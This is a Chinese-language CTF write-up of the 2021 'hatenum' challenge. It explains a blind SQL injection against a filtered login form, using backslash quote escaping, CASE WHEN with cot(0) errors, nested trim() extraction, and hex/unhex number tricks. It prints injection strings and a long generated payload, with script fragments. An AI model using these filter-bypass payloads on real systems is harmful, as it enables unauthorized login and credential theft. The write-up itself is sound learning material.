2021-hf-hatenum复现
前言
今天主要跟着YING师父的wp学习一下其中的知识点~
分析源码
在login函数中看到,有三种回显,一种是成功,另外一个是error还有一个是fail,所以我们应该构造一个语句,可以有回显error还有fail,那么就是一个要报错一个要false
function login($username,$password,$code){ |
这里过滤了一系列字符,包括union,select,这里最糟糕的是他过滤了单引号,因为我们通常是采用单引号来闭合语句的
function sql_waf($str){ |
还有一个字符数目限制,限制字符长度在9个以内
function num_waf($str){ |
引号绕过
由于本题只需要登录即可,所以我们只要获取密码就行了,那么就可以利用源码里面自带的查询语句,这样没有select也没关系,但是引号如何闭合绕过呢?
查询语句是这样的:
那我们只需要在第二个引号的位置加一下反斜杠将它转义,然后将我们要注入的内容放在password字段
"select * from users where username='$username' and password='$password'" |
所以就如下:
"select * from users where username='$username\' and password='||`username`='admin'后面再加上你的注入语句#" |
布尔盲注语句构造
条件语句的选取:
由于比较符号都被过滤了,如果使用if显然是不够的,这里我们使用case when
初步语句构造为:
case '' when '' then '' else '' end# |
后面then和else一个发报错的一个放查询错误的
报错函数选取
报错函数可以用cot(0)或者exp(9999999999999999)都是三角函数
截取函数选择
由于这里将substr等截取函数都过滤了,所以选择trim()函数
trim(leading''from'')rlike(trim(leading''from'')) |
这个语句我们在mysql中测试一下将会更直观一些:
trim(leading('a')from(`password`)) rlike trim(leading('b')from(`password`)) |
和条件语句组合后即为:以下语句的意思即为如果两个trim的结果如果一致则为1 那么就不是0 那么就会返回1,如果两个trim的结果不一致,那么就会返回0就会返回cot(0)
case trim(leading 'a' from `password`) rlike trim(leading 'b' from `password`) when 0 then cot(0) else 1 end |
可以发现如果截取到密码的字符,那么就会返回错误,否则就会返回表,查询结果即为false
长度绕过:
由于我们不能输入引号,所以说字符串都需要转为十六进制进行输入,但是转为十六进制的势必会超过9位数,所以我们可以利用hex和unhex函数缩短长度:
先用十进制表示转为十六进制的字符串,那么此时 我们就可以用运算符以及科学技术法,那么位数将会减少很多了,最后再将结果转为十六进制即可
select admin; |
def recursion_g_code(l:list): |
脚本
我自己肯定写不出来这么厉害的脚本。。。代码编写能力还是太差,所以就仿照一下自己理解的编写一下:
首先是第一段
字符串转数字:
通过每次取余八位,将后面的数字内容先截取出来,然后转变为科学计数法,然后再将剩下的数字以科学计数法表示
import requests as req |
第二段 trim的套娃
def recursion_g_code(l:list): |
trim(leading(unhex(hex(5033e8+70115431e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code))))))))))))))))))))rlike(trim(leading(unhex(hex(5033e8+70115432e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code))))))))))))))))))))) |
可以看到分别是对这三个部分进行递归嵌套
知识点小结:
1.引号绕过,两个参数均可控的情况下
2.case when else end
3.trim函数截取
4.字符串转化为大数化短
5.记一点小坑,就是在post请求的时候需要allow_redirects=False,否则的话无法接收到正确的报文,原因是源码中在post请求后会有header(location)进行重定向
2021-hf-hatenum复现